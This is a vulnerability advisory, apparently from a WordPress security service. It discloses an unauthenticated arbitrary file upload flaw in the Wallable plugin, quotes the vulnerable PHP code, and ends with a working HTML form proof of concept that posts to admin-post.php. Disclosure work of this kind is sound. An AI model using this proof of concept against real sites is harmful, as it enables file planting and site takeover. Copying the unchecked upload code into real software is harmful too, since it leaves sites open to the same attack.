Arbitrary File Upload Vulnerability in Wallable
A month ago we wrote about how the security review of newly submitted plugins to the WordPress Plugin Directory needs improvement. One of the newly introduced plugins that lead to that post was the plugin Wallable. We came across the plugin through our proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. The possible vulnerability that had been identified in the plugin was an arbitrary file upload vulnerability and when we went to look into that we found that not only did that issue exist, but the plugin was fairly insecure in a more general fashion.
In three locations in the code the plugin would upload arbitrary files. Two of those are located in the function frontend_do_tasks(). When we went to test out exploiting one of those we found that the plugin would cause a fatal error before that could happen when not logged in to WordPress.
The final location is in the function backend_do_tasks(), which based on that name, would seem to be off limits to those not logged in, but that turned out to not be the case.
Near the beginning of the plugin’s main file it checks if is_admin() is true:
21 | if (is_admin()){ |
That function will tell you if “the Dashboard or the administration panel is attempting to be displayed” and can be true when not logged in to WordPress, depending on what is trying to be accessed.
If that is true, the function backend_do_tasks() will be run:
40 41 42 43 44 | if (@$_REQUEST['mod'] == 'rawmode'){ add_action('wp_loaded', array(&$wallable_controller, 'backend_do_tasks')); }else{ $wallable_controller->backend_do_tasks(); } |
When the function backend_do_tasks() runs it doesn’t do any check as to who is trying to access it (in the file /classes/wallable_controller.php):
294 295 296 297 298 299 | function backend_do_tasks() { //DO tasks $task = @$_REQUEST['wallable_task']; switch ($task) { |
When the value of the GET or POST input “wallable_task” is set to “save_items” the following code will run:
303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 | case 'save_item': if ((int)$_REQUEST['item_id'] > 0){ $file_name_id = $_REQUEST['item_id']; }else{ $query = "SELECT max(id) as max_id FROM ".$this->_db->prefix."wallable_dashboard_items"; $rows = $this->_db->get_results($query, OBJECT); $file_name_id = (int) $rows[0]->max_id; $file_name_id++; } if (!empty($_FILES['image']['name'])){ $file_info = explode('.', $_FILES['image']['name']); $file_type = $file_info[count($file_info)-1]; $file_name = $file_name_id.'.'.$file_type; if (!is_dir(wallable_upload.'/dashboard')){ wp_mkdir_p(wallable_upload.'/dashboard'); } $dest_file = wallable_upload.'/dashboard/'.$file_name; if (move_uploaded_file($_FILES['image']['tmp_name'], $dest_file)){ |
That will save a file to the directory /wp-content/uploads/wallable/dashboard/ with a name based on the GET or POST input “item_id”, if specified. It doesn’t restrict what types of files can be uploaded.
We notified the developer of the issue on October 23. They responded that it would be fixed with the next upgrade. Subsequent changes have been made to the plugin, but the issue has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.
Proof of Concept
The following proof of concept will upload the selected file to the /wp-content/uploads/wallable/dashboard/ with the file name that starts”1000.” and ends with the uploaded file’s file extension.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="wallable_task" value="save_item" /> <input type="hidden" name="item_id" value="1000" /> <input type="file" name="image" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- October 23, 2017 – Developer notified.
- October 23, 2017 – Developer responds.